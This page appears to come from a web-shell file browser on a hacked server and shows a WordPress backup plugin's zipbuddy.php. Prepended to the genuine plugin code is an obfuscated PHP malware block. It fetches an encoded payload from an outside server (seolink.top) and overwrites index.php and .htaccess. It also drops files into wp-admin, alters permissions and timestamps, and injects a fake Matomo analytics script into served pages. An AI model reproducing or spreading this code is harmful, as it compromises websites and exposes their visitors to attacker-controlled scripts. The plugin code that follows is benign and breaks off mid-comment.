0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
lib
/
xzipbuddy
/
[
Home
]
File: zipbuddy.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * pluginbuddy_zipbuddy Class (Experimental) * * Handles zipping and unzipping, using the best methods available and falling back to worse methods * as needed for compatibility. Allows for forcing compatibility modes. * * Version: 1.0.0 * Author: * Author URI: * * */ // Test if we are loading as standard or experimental - if experimental just drop through if ( 0 === strcmp( basename( dirname( __FILE__ ) ), 'zipbuddy' ) ) { // Currently loading as standard so determine if we need to load experimental if ( isset( pb_backupbuddy::$options['alternative_zip_2'] ) && ( '1' == pb_backupbuddy::$options['alternative_zip_2'] ) ) { // User enabled experimental so look for it and load it is found, otherwise log $experimental_zipbuddy = dirname( dirname( __FILE__ ) ) . '/xzipbuddy/zipbuddy.php'; if ( @is_readable( $experimental_zipbuddy ) ) { require_once( $experimental_zipbuddy ); } else { pb_backupbuddy::status( 'details', sprintf( __('Alternate Zip System enabled but not found/readable at: %1$s','it-l10n-backupbuddy' ), $experimental_zipbuddy ) ); } } } if ( !class_exists( "pluginbuddy_zipbuddy" ) ) { // Currently just a wrapper for pb_backupbuddy::status() // TODO: Would prefer to have a generic logger and this would // extend it if required (we may not even need this dependent // on how logging evolves) class pluginbuddy_zipbuddy_logger { protected $_prefix = ''; protected $_suffix = ''; public function __construct( $prefix = "", $suffix = "" ) { if ( !empty( $prefix ) ) { $this->set_prefix( $prefix ); } if ( !empty( $suffix ) ) { $this->set_suffix( $suffix ); } } public function __destruct() { } public function set_prefix( $prefix = "" ) { $this->_prefix = $prefix; return $this; } public function get_prefix() { return $this->_prefix; } public function set_suffix( $suffix = "" ) { $this->_suffix = $suffix; return $this; } public function get_suffix() { return $this->_suffix; } public function log( $level, $message, $prefix = null, $suffix = null ) { $prefix_to_use = ( is_null( $prefix ) ) ? $this->_prefix : ( ( is_string( $prefix ) ) ? $prefix : "" ) ; $suffix_to_use = ( is_null( $suffix ) ) ? $this->_suffix : ( ( is_string( $suffix ) ) ? $suffix : "" ) ; pb_backupbuddy::status( $level, $prefix_to_use . $message . $suffix_to_use ); return $this; } } class pluginbuddy_zipbuddy_null_object { public function __construct() { } public function __destruct() { } public function __call( $method, $arguments ) { } } /** * pluginbuddy_zipbuddy_process_monitor Class * * Class that is used monitor the progress of any process and take actions to try and * ensure the process execution is prolonged as much as possible. * */ class pluginbuddy_zipbuddy_process_monitor { const ZIP_DEFAULT_EXECUTION_MAX_PERIOD = 30; const ZIP_DEFAULT_EXECUTION_THRESHOLD_PERIOD = 10; const ZIP_DEFAULT_MONITOR_THRESHOLD_PERIOD = 10; const ZIP_DEFAULT_TICKLE_THRESHOLD_PERIOD = 10; protected $_execution_threshold_period = 0; protected $_execution_start_time = 0; protected $_execution_max_period = 0; protected $_monitor_threshold_period = 0; protected $_monitor_start_time = 0; protected $_monitoring_usage = false; protected $_start_user_time = 0; protected $_elapsed_user_time = 0; protected $_tickle_threshold_period = 0; protected $_tickle_start_time = 0; protected $_server_tickling = false; protected $_server_tickler = ''; protected $_creation_time = 0; protected $_report_connection_status = false; /** * The logger we will use * * @var logger object */ protected $_logger = null; public function __construct( &$parent = null ) { // Inherit the parent logger by default (if it has one), caller may override after instantiated if ( $parent && method_exists( $parent, 'get_logger' ) ) { $this->set_logger( $parent->get_logger() ); } $now = time(); $this->set_creation_time( $now ); // We can try and derive the configured execution_max_period // and the execution_threshold_period is set based on that. If // this is overridden by a given period then we can also choose // whether to set the threshold period based on that or set a // specific threshold period (this is up to the caller). $this->set_execution_start_time( $now ); $this->set_execution_max_period( 'auto' ); // The monitor threshold period cannot be derived $this->set_monitor_start_time( $now ); $this->set_monitor_threshold_period( self::ZIP_DEFAULT_MONITOR_THRESHOLD_PERIOD ); // The tickle threshold period cannot be derived $this->set_tickle_start_time( $now ); $this->set_tickle_threshold_period( self::ZIP_DEFAULT_TICKLE_THRESHOLD_PERIOD ); $this->initialize_monitoring_usage(); $this->set_server_tickling( true ); $this->_server_tickler = '<!--' . str_shuffle( substr( str_repeat( implode( '', range( 'a', 'z' ) ), 40 ), 0, 1024 ) ) . '-->' . chr(13) . chr(10); $this->log_parameters(); } public function __destruct() { } /** * * checkpoint() * * Check how we are doing and whether we need to take any steps to prolong * execution at this time. If any of these report anythng then connection * status is also reported. * * @return object Return reference to this object * */ public function checkpoint() { $this->monitor_usage(); $this->monitor_execution_time(); $this->tickle_server(); return $this; } public function get_creation_time() { return $this->_creation_time; } public function set_creation_time( $time = 0 ) { $this->_creation_time = ( 0 === $time ) ? time() : $time ; return $this; } public function get_elapsed_time() { return ( time() - $this->get_creation_time() ); } // Methods for handling the execution time management public function get_execution_threshold_period() { return $this->_execution_threshold_period; } public function set_execution_threshold_period( $period = self::ZIP_DEFAULT_EXECUTION_THRESHOLD_PERIOD ) { $execution_max_period = 0; if ( true === is_string( $period ) ) { switch ( $period ) { case 'auto': // If auto then set based on execution max period if ( 0 === ( $execution_max_period = $this->get_execution_max_period() ) ) { // Not set yet so we need to set it with auto // Ensure we don't get into a recursive loop... $execution_max_period = $this->set_execution_max_period( 'auto', false )->get_execution_max_period(); } // Bit of an arbitrary proportion... $this->_execution_threshold_period = (int)( $execution_max_period / 3 ); break; default: // Unknown mode so use default value $this->_execution_threshold_period = self::ZIP_DEFAULT_EXECUTION_THRESHOLD_PERIOD; } } elseif ( is_numeric( $period ) && ( 0 < $period ) ) { $this->_execution_threshold_period = $period; } else { $this->_execution_threshold_period = self::ZIP_DEFAULT_EXECUTION_THRESHOLD_PERIOD; } return $this; } public function get_execution_start_time() { return $this->_execution_start_time; } public function set_execution_start_time( $time = 0 ) { ( 0 === $time ) ? $this->_execution_start_time = time() : $this->_execution_start_time = $time ; return $this; } public function get_execution_max_period() { return $this->_execution_max_period; } /** * * set_execution_max_period() * * Set, or try to derive, what the maximum execution period should be. * Possibly also set the threshold if max was derived. * For deriving try to get configured values to use, otherwise use the * default. * The 0 value needs to be specially handled since it implies unlimited * and so we map this to the PHP maximum integer value. In practice, * unlimited doesn't really mean much since hosting will have other * timeouts that kick in - but we need to honour whatever the user * has configured. * * @param string|int $period Integer for specific value, 'auto' for derived * @param bool $auto_set_threshold Whether to auto set threshold 